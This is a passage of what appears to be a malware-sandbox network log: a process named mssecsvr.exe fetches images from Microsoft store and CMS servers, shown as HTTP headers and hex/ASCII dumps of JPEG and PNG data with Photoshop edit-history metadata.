2022-07-20 17:08:41 UTC	1012	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 11309 Content-Type: image/jpeg Last-Modified: Wed, 20 Jul 2022 07:09:03 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE2QTFFQkEyMEE4RTI" MS-CV: KJKS5iLPt0qr6k0q.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:08:41 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:08:41 UTC	1013	IN	Data Raw: ff d8 ff db 00 84 00 05 04 04 10 10 0f 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 11 10 10 10 10 10 10 10 20 20 20 1c 1e 1f 21 20 20 20 10 30 30 30 18 26 18 18 18 18 01 05 06 06 09 08 09 10 09 09 10 20 15 12 16 20 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 ff c2 00 11 08 00 8e 00 8e 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 06 07 04 05 08 03 02 00 01 ff da 00 08 01 01 00 00 00 00 27 70 16 43 55 d2 83 f3 eb 12 d2 25 25 37 88 31 fd e8 a7 24 8f 60 d0 73 fb 2c e9 3a f8 4c 52 0c 0f 77 e7 eb 61 97 d0 75 e6 af a8 65 9b 25 5a 62 e1 d7 f9 0c ab f7 86 a7 3d 98 92 9e Data Ascii: ! 000& 'pCU%%71$`s,:LRwaue%Zb=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.7	52621	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:42 UTC	1024	OUT	GET /image/apps.65344.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.2a7e9f85-6e2d-4bc7-ad81-13196f5baf00?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:08:42 UTC	1024	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 17018 Content-Type: image/png Last-Modified: Wed, 23 Mar 2022 12:32:14 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5Mjk0RDY0MzI" MS-CV: 8/oQHq+FgEulH2fF.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:08:42 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:08:42 UTC	1024	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 42 41 49 44 41 54 78 9c e5 bd 77 bc 1d c5 79 37 fe 7d 66 77 4f b9 bd e9 ea 0a 15 54 69 92 e8 5d 18 8c c1 18 8c 6d dc 30 c6 80 13 3b af eb 1b a7 d8 71 12 fb 8d 93 bc bf bc 49 ec c4 25 ee 49 5c 08 71 23 06 63 30 8e 0d c1 18 63 03 a6 08 90 00 21 40 42 5d ba bd 9f ba bb 33 cf ef 8f 6d 33 bb 7b ae 84 83 4b 92 f9 dc cf b9 7b 66 a7 3e df a7 cd 33 b3 7b 08 37 4d e1 c8 13 bd a8 c5 e2 c4 2f 52 99 ff d6 c9 7e 01 65 17 06 e0 85 c2 93 5b 77 01 3c e8 70 05 fe bb a7 23 83 6a 01 18 8e 54 ce 32 e5 38 8f ea a9 52 d9 22 ff 83 01 7b 21 52 95 4a ad 40 ca a2 72 24 c5 16 40 ae 15 60 68 71 f7 bf 69 3a 1c 54 b9 64 cf cf cc e4 1e b9 4a 64 b3 7a 0a b6 85 25 e9 7f 8c 9c bd 70 a9 Data Ascii: PNGIHDRh_BAIDATxwy7}fwOTi]m0;qI%I\q#c0c!@B]3m3{K{f>3{7M/R~e[w<p#jT28R"{!RJ@r$@`hqi:TdJdz%p
2022-07-20 17:08:42 UTC	1040	IN	Data Raw: 2e 89 b3 99 e6 82 2f 2c 95 09 72 e6 b7 90 ed 9d 92 ea da dd 78 17 98 c3 df a0 4a 50 49 49 83 2e 4c a6 23 9e 63 81 90 94 4f 3b 20 5a 23 39 d5 22 6e d2 39 37 cb 95 09 72 9c 63 06 c8 2c 93 dc cb aa c5 5c a2 e9 03 8b 2b ea a9 85 6e e4 2c 11 72 3b cb 65 70 4a 3e 13 96 32 e4 58 db b0 67 ed 45 4f b1 43 a1 53 3c bb 6c 4a c9 5f aa 77 43 51 b4 12 5c 73 26 9c 47 cd b8 71 1d 98 d4 6c 75 60 62 5f d4 28 db 3a b4 18 2b 9b 1c a1 4c b1 08 99 76 41 6f 79 01 f9 5b 40 86 a0 89 51 5e 19 4d 75 d9 89 4c 28 ad 50 cc fb c1 67 1c a8 8d 49 96 95 aa dc 81 72 d6 ad 8f 3f b5 f8 50 4c ac 94 ea cb 5c 66 ec 8d d6 5a ba 64 eb 00 55 9c a1 f3 6e 6a 1b 0c 6c 48 67 68 d8 62 bc 29 d9 de 33 ea 99 e3 cf 32 6b 5c 3d bb 07 94 10 3f 6f 2e 61 64 3d d1 48 1a 92 71 70 96 75 a6 36 77 16 74 d9 d2 9b cf Data Ascii: ./,rxJPII.L#cO; Z#9"n97rc,\+n,r;epJ>2XgEOCS<lJ_wCQ\s&Gqlu`b_(:+LvAoy[@Q^MuL(PgIr?PL\fZdUnjlHghb)32k\=?o.ad=Hqpu6wt

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.7	52622	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:42 UTC	1041	OUT	GET /image/apps.7873.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.7885dc21-4015-4284-a596-d3d24cf6c1b8?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:08:42 UTC	1041	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 4575 Content-Type: image/png Last-Modified: Tue, 06 Oct 2020 07:51:50 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQUY1N0U0QUI" MS-CV: zZpfTR4fs0yHFO1I.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:08:42 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:08:42 UTC	1042	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 03 00 50 4c 54 45 00 1e 36 23 3d 52 b7 bf c6 2b b0 fe ab b5 bc 37 4f 61 bf c6 cc ff ff ff 2c b1 ff 1f 3a 4f 2b af fd 09 40 64 00 1f 38 00 1f 37 00 21 3a 00 20 39 00 1e 37 00 22 3c 00 21 3b 01 23 3d 01 24 3f 20 8f d2 2b ae fc 0e 54 82 10 58 87 22 97 dc 1a 77 b1 01 28 44 01 24 3e 02 28 45 00 21 3b 29 ab f7 21 92 d6 09 42 68 10 59 88 02 2a 47 00 20 3a 0c 4b 75 04 2f 4e 14 65 98 20 91 d4 fe fe fe 29 ad fa 03 2b 49 01 27 43 21 93 d8 08 3e 62 2a af fc 0b 4a 73 1e 87 c7 26 a3 ed 0d 4d 77 06 36 58 01 23 3e 1d 84 c3 01 25 40 0b 49 71 1e 89 c9 07 38 5b 21 94 d8 1b 80 be 1b 7f bc 08 3f 64 2a ae fb 28 a8 f3 22 96 da 03 2d 4b 07 3a 5d 0f 56 83 02 25 40 24 9c e3 0d Data Ascii: PNGIHDR,,N~GPLTE6#=R+7Oa,:O+@d87!: 97"<!;#=$? +TX"w(D$>(E!;)!BhYG :Ku/Ne )+I'C!>bJs&Mw6X#>%@Iq8[!?d*("-K:]V%@$

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.7	52624	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:42 UTC	1046	OUT	GET /cms/api/am/imageFileData/RWHdvu?ver=c96d HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 17:08:42 UTC	1047	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWHdvu?ver=c96d Last-Modified: Thu, 30 Jun 2022 19:35:34 GMT X-Source-Length: 1635920 X-Datacenter: northeu X-ActivityId: 27ee7833-78f9-4747-8347-e072ca636d06 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1635920 Cache-Control: public, max-age=268198 Expires: Sat, 23 Jul 2022 19:38:40 GMT Date: Wed, 20 Jul 2022 17:08:42 GMT Connection: close
2022-07-20 17:08:42 UTC	1047	IN	Data Raw: ff d8 ff e1 15 d1 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 31 3a 30 35 3a 32 38 20 31 36 3a 33 32 3a 32 33 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.2 (Windows)2021:05:28 16:32:238"
2022-07-20 17:08:42 UTC	1063	IN	Data Raw: 73 2f 31 2e 31 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 45 76 74 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 45 76 65 6e 74 23 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 6c 6e 73 3a 78 6d 70 4e 6f 74 65 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 6d 70 2f 6e 6f 74 65 2f 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f Data Ascii: s/1.1/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmpNote="http://ns.adobe.com/xmp/note/" xmp:CreatorTool="Adobe Photosho
2022-07-20 17:08:42 UTC	1079	IN	Data Raw: 38 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 44 34 34 44 30 30 33 34 44 31 44 31 46 35 35 46 32 43 44 35 45 37 31 34 43 34 45 44 45 44 31 44 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 35 38 3a 35 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 Data Ascii: 8:41-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitD44D0034D1D1F55F2CD5E714C4EDED1D.psb saved 2016-07-26T10:58:57-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Ed
2022-07-20 17:08:42 UTC	1082	IN	Data Raw: 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 31 30 2d 55 70 67 72 61 64 65 5c 42 72 61 6e 64 41 70 70 72 6f 76 65 64 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 30 32 37 32 35 37 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 36 3a 32 31 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 31 30 2d 55 70 67 72 61 64 65 5c 42 72 61 6e 64 41 70 70 72 6f 76 65 64 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 30 32 37 32 35 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 Data Ascii: h\MS\Windows10\Win10-Upgrade\BrandApproved\Crops\WindowsPro_GettyImages-641027257_1080x1920.psd saved 2016-08-04T16:21:06-07:00 File C:\Users\v-lizagh\MS\Windows10\Win10-Upgrade\BrandApproved\Crops\WindowsPro_GettyImages-641027257_1080x1920.jpg sa
2022-07-20 17:08:42 UTC	1098	IN	Data Raw: 31 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 33 54 31 30 3a 31 36 3a 31 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 Data Ascii: 11-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2016-09-13T10:16:17-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x
2022-07-20 17:08:42 UTC	1114	IN	Data Raw: 65 2d 50 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 37 30 35 35 37 34 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 38 54 31 31 3a 31 38 3a 33 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 50 72 65 74 74 79 50 69 63 73 5c 53 75 72 66 61 63 65 2d 50 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 35 34 30 36 38 31 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 38 54 31 31 3a 31 38 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 Data Ascii: e-Pen_GettyImages-137055749_1080x1920.jpg saved 2016-10-18T11:18:33-07:00 File C:\Users\v-lizagh\MS\Windows10\Surface\PrettyPics\Surface-Pen_GettyImages-535406816_1080x1920.jpg saved 2016-10-18T11:18:35-07:00 File C:\Users\v-lizagh\AppData
2022-07-20 17:08:42 UTC	1122	IN	Data Raw: 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 61 70 73 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 61 70 73 5f 4c 6f 6d 62 61 72 64 53 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 33 36 31 35 34 32 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 33 3a 30 34 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 Data Ascii: rs\v-lizagh\MS\Windows10\Maps\_CHOSEN\Crops\Maps_LombardSt_GettyImages-493615427_1080x1920.jpg saved 2016-11-16T13:04:14-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944E
2022-07-20 17:08:42 UTC	1138	IN	Data Raw: 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 5f 47 61 6d 65 73 5f 53 74 6f 63 6b 50 72 6f 76 69 64 65 72 2d 35 30 30 70 78 2d 32 33 36 36 39 39 31 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 32 30 54 31 36 3a 31 39 3a 34 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 32 33 54 31 36 3a 32 33 3a 32 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 Data Ascii: EN\Crops\Edge-MSRewards_Games_StockProvider-500px-23669911_1080x1920.jpg saved 2017-01-20T16:19:41-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-01-23T16:23:27-08:00 File Lockscreen_1080x1920_Portra
2022-07-20 17:08:42 UTC	1154	IN	Data Raw: 6d 65 6e 73 44 61 79 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 6f 6d 65 6e 73 44 61 79 49 6e 74 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 38 30 34 37 32 39 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 33 54 31 32 3a 31 35 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 6f 6d 65 6e 73 44 61 79 5c 49 6e 74 6c 57 6f 6d 65 6e 73 44 61 79 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 6f 6d 65 6e 73 44 61 79 49 6e 74 6c 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 32 33 34 31 34 30 32 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 Data Ascii: mensDay\CHOSEN\Crops\MIT-WomensDayIntl_GettyImages-468047294_1080x1920.jpg saved 2017-02-23T12:15:08-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WomensDay\IntlWomensDay\CHOSEN\Crops\MIT-WomensDayIntl_shutterstock_523414027_1080x1920.jp
2022-07-20 17:08:42 UTC	1161	IN	Data Raw: 32 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 36 54 31 32 3a 33 37 3a 33 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 36 54 31 32 3a 34 30 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 46 61 6c 6c 32 Data Ascii: 21-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-03-16T12:37:33-07:00 File Lockscreen_1080x1920_Portrait.psd opened 2017-03-16T12:40:41-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Fall2
2022-07-20 17:08:42 UTC	1177	IN	Data Raw: 33 30 35 39 31 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 30 54 31 30 3a 30 34 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 4f 6e 62 6f 61 72 64 69 6e 67 5c 4f 66 66 69 63 65 2d 42 32 2d 4f 6e 62 6f 61 72 64 69 6e 67 5f 70 31 31 36 36 6d 31 31 35 30 34 30 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 30 54 31 30 3a 30 35 3a 32 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 Data Ascii: 305915_1080x1920.jpg saved 2017-04-20T10:04:06-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Onboarding\Office-B2-Onboarding_p1166m1150402_1080x1920.jpg saved 2017-04-20T10:05:22-07:00 File C:\Users\v-lizagh\AppDat
2022-07-20 17:08:42 UTC	1193	IN	Data Raw: 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 36 54 31 32 3a 30 34 3a 32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 43 2d 52 65 66 72 65 73 68 5c 52 6f 75 6e 64 33 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 50 43 2d 52 65 66 72 65 73 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 34 33 38 39 32 37 37 5f 31 30 38 30 78 31 39 32 30 2e Data Ascii: e\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-05-16T12:04:28-07:00 File C:\Users\v-lizagh\MS\Windows10\PC-Refresh\Round3\Chosen\Crops\PC-Refresh_GettyImages-474389277_1080x1920.
2022-07-20 17:08:42 UTC	1201	IN	Data Raw: 53 33 2d 52 65 52 65 63 72 75 69 74 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 2d 52 53 33 2d 52 65 52 65 63 72 75 69 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 64 76 38 34 33 30 31 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 37 54 30 39 3a 31 37 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 5c 52 53 33 2d 52 65 52 65 63 72 75 69 74 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 2d 52 53 33 2d 52 65 52 65 63 72 75 69 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 37 36 38 39 Data Ascii: S3-ReRecruit\Chosen\Crops\WindowsInsider-RS3-ReRecruit_GettyImages-dv843016_1080x1920.jpg saved 2017-06-07T09:17:42-07:00 File C:\Users\v-lizagh\MS\Windows10\WindowsInsider\RS3-ReRecruit\Chosen\Crops\WindowsInsider-RS3-ReRecruit_GettyImages-497689
